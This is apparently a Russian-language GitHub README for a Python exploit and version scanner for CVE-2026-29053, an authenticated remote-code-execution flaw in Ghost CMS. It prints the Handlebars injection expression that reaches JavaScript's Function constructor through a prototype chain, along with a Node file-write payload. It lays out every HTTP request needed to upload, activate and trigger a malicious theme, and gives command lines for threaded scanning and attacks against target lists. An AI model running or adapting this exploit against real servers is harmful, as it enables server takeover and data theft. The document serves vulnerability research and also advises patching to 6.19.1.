
Python PoC и сканер версий для CVE-2026-29053 — аутентифицированного RCE в Ghost CMS ниже 6.19.1 через вредоносные шаблоны тем Handlebars.
CVE-2026-29053 затрагивает систему управления контентом Ghost, построенную на Node.js. Версии с 0.7.2 по 6.19.0 подвержены этой проблеме. Вредоносная тема может эксплуатировать эту уязвимость и выполнять произвольный код на сервере, на котором работает Ghost. Уровень серьёзности этой уязвимости — высокий, с оценкой CVSS 7.6. Эта проблема исправлена в версии 6.19.1. Злоумышленник, успешно эксплуатирующий эту уязвимость, может получить несанкционированный доступ к серверу и потенциально взять его под контроль. Затем он может использовать этот доступ для манипулирования данными, кражи конфиденциальной информации или совершения других вредоносных действий. Затронутые продукты/сервисы — все версии Ghost с 0.7.2 по 6.19.0. Чтобы снизить этот риск, пользователям следует как можно скорее обновить свои установки Ghost до версии 6.19.1 или более поздней. Это гарантирует, что уязвимость будет устранена и больше не будет представлять угрозу. Если обновление в данный момент невозможно, рекомендуется внимательно следить за любыми новыми событиями, связанными с этой уязвимостью, и применять необходимые меры безопасности для защиты от потенциальных атак. В настоящее время эта CVE не включена в каталог Known Exploited Vulnerabilities (KEV) CISA, что означает, что она не эксплуатировалась активно субъектами угроз. Однако пользователям всё равно следует в первую очередь обновить свои системы, чтобы предотвратить любые потенциальные риски, связанные с этой уязвимостью.
Python PoC для CVE-2026-29053 — уязвимости удалённого выполнения кода в Ghost CMS, вызванной специально созданными темами, способными выполнять произвольный JavaScript во время рендеринга шаблонов.
Затронуто: Ghost
0.7.2—6.19.0Ghost CWE-74 — Ненадлежащая нейтрализация специальных элементов в выводе, используемом нижестоящим компонентом
6.19.1В рекомендациях Ghost эта проблема описывается как выполнение произвольного кода через вредоносные темы.
Темы Ghost используют шаблоны Handlebars (.hbs).
Специально созданный шаблон может злоупотребить тем, как Ghost обрабатывает выражения Handlebars, и получить доступ к функциональности JavaScript, которая не должна быть достижима из обычного шаблона темы.
Важная часть эксплойта — это выражение шаблона:
{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}
Полезная нагрузка вставляется в шаблон до того, как вредоносная тема будет упакована.
Полученный шаблон затем загружается и активируется через Ghost Admin API.
Когда Ghost впоследствии рендерит затронутый шаблон, внедрённое выражение вызывает выполнение полезной нагрузки JavaScript внутри процесса сервера Ghost.
Сначала PoC устанавливает аутентифицированную сессию Ghost Admin.
Соответствующая конечная точка:
POST /ghost/api/admin/session/
Запрос, генерируемый PoC, эквивалентен:
POST /ghost/api/admin/session/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET
{
"username": "[email protected]",
"password": "PASSWORD"
}
Ghost возвращает cookie аутентифицированной сессии.
PoC проверяет HTTP 201 и затем продолжает использовать тот же объект requests.Session().
Эксплойт создаёт ZIP-архив, содержащий минимальную тему Ghost.
Важные файлы:
malicious-theme.zip
├── default.hbs
├── index.hbs
├── page-rce.hbs
├── page.hbs
├── post.hbs
└── package.json
Вредоносный шаблон записывается в:
page-rce.hbs
PoC полностью конструирует архив в памяти, используя модуль Python zipfile.
Сгенерированный package.json идентифицирует архив как тему Ghost:
{
"name": "malicious-theme",
"description": "Minimal Ghost theme for CVE-2026-29053 authorized lab reproduction",
"version": "1.0.0",
"engines": {
"ghost": ">=5.0.0"
},
"license": "MIT"
}
Уязвимая часть темы — это выражение Handlebars внутри page-rce.hbs.
PoC генерирует:
{{!< default}}
<main class="lab-page">
<h1>CVE-2026-29053 trigger</h1>
<p>This page renders the malicious theme template.</p>
</main>
{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}
%PAYLOAD% до того, как тема будет сжата.По умолчанию PoC использует полезную нагрузку записи в файл как неразрушающее доказательство выполнения кода.
Он генерирует JavaScript, эквивалентный:
var fs=process.getBuiltinModule('fs');
fs.writeFileSync(
'/tmp/cve-2026-29053-rce.txt',
'CVE-2026-29053 proof: /tmp/cve-2026-29053-rce.txt'
);
return 1
Это демонстрирует, что полезная нагрузка выполняется внутри процесса Ghost Node.js и может получить доступ к функциональности Node.js.
PoC также содержит опциональный режим обратного вызова для лабораторных сред.
После того как вредоносная тема сгенерирована, PoC отправляет её на:
POST /ghost/api/admin/themes/upload/
Запрос представляет собой загрузку multipart-формы.
Концептуально:
POST /ghost/api/admin/themes/upload/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION
Content-Type: multipart/form-data; boundary=------------------------BOUNDARY
--------------------------BOUNDARY
Content-Disposition: form-data; name="file"; filename="malicious-theme.zip"
Content-Type: application/zip
[ZIP ARCHIVE]
--------------------------BOUNDARY--
Архив содержит вредоносный шаблон .hbs, описанный выше.
PoC ожидает HTTP 200 и извлекает возвращённое имя темы из JSON-ответа.
После загрузки темы PoC активирует её с помощью:
PUT /ghost/api/admin/themes/THEME_NAME/activate/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION
Конечная точка активации конструируется динамически:
/ghost/api/admin/themes/{theme_name}/activate/
Эксплойт останавливается, если Ghost не возвращает HTTP 200.
Затем PoC создаёт опубликованную страницу:
POST /ghost/api/admin/pages/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION
{
"pages": [
{
"title": "rce",
"slug": "rce",
"status": "published",
"html": "<p>rce</p>"
}
]
}
Код использует slug:
/rce/
Если страница уже существует, он пытается получить существующую страницу вместо этого.
Финальный триггер — это просто:
GET /rce/ HTTP/1.1
Host: TARGET
Cookie: ghost-admin-api-session=SESSION
Это заставляет Ghost отрендерить активную тему.
PoC проверяет возвращённый HTML на наличие:
CVE-2026-29053 trigger
чтобы подтвердить, что page-rce.hbs был отрендерен.
Важное отличие в том, что злоумышленник не просто внедряет HTML в страницу.
Вредоносный ввод становится частью шаблона темы Ghost Handlebars.
Шаблон впоследствии интерпретируется системой серверного рендеринга Ghost.
Созданное выражение достигает функциональности JavaScript через цепочку прототипа/конструктора:
__proto__
↓
toString
↓
constructor
↓
Function(...)
↓
контролируемый злоумышленником JavaScript
Полученный JavaScript выполняется в процессе сервера Ghost.
PoC демонстрирует это, получая доступ к встроенному модулю Node fs и записывая файл на сервере.
Собирая HTTP-взаимодействие вместе:
1. POST /ghost/api/admin/session/
└── аутентификация
2. POST /ghost/api/admin/themes/upload/
└── загрузка malicious-theme.zip
3. PUT /ghost/api/admin/themes/<name>/activate/
└── активация вредоносной темы
4. POST /ghost/api/admin/pages/
└── создание /rce/
5. GET /rce/
└── рендеринг вредоносного page-rce.hbs
└── выражение Handlebars
└── выполнение JavaScript
└── воздействие на уровне ОС
PoC также содержит сканер.
Он запрашивает:
GET /ghost/api/admin/site/ HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0
Ответ анализируется на наличие:
{
"site": {
"version": "6.19.0"
}
}
Затем PoC сравнивает версию с:
0.7.2 <= version <= 6.19.0
и сообщает о совпадающих версиях как об уязвимых.
Опубликованное уведомление указывает затронутый диапазон как >= 0.7.2, < 6.19.1, с 6.19.1 в качестве исправленной версии.
python3 exploit.py --target http://TARGET
Путь доказательства по умолчанию:
/tmp/cve-2026-29053-rce.txt
Его можно изменить с помощью:
python3 exploit.py --target http://TARGET --proof-path /tmp/test.txt
Если настройка Ghost уже завершена:
python3 exploit.py --target http://TARGET --skip-setup
Учётные данные можно указать с помощью:
--email
--password
Цели можно указать из файла:
python3 exploit.py --file targets.txt
Количество потоков:
python3 exploit.py --file targets.txt --threads 25
Сканер проверяет конечную точку Ghost Admin site и сравнивает сообщённую версию Ghost с уязвимым диапазоном.
Успешная эксплуатация позволяет выполнять произвольный JavaScript внутри процесса сервера Ghost.
В зависимости от привилегий процесса Ghost и используемой полезной нагрузки это может затронуть:
Опубликованная запись CVE оценивает проблему как достижимую по сети, но требующую высоких привилегий и взаимодействия с пользователем, с изменённой областью действия.
Обновите Ghost до:
6.19.1+
В рекомендациях по уязвимости Ghost указана 6.19.1 как исправленная версия.
Не устанавливайте недоверенные темы.
Этот PoC предоставлен для исследования уязвимостей, авторизованного тестирования на проникновение и образовательных целей.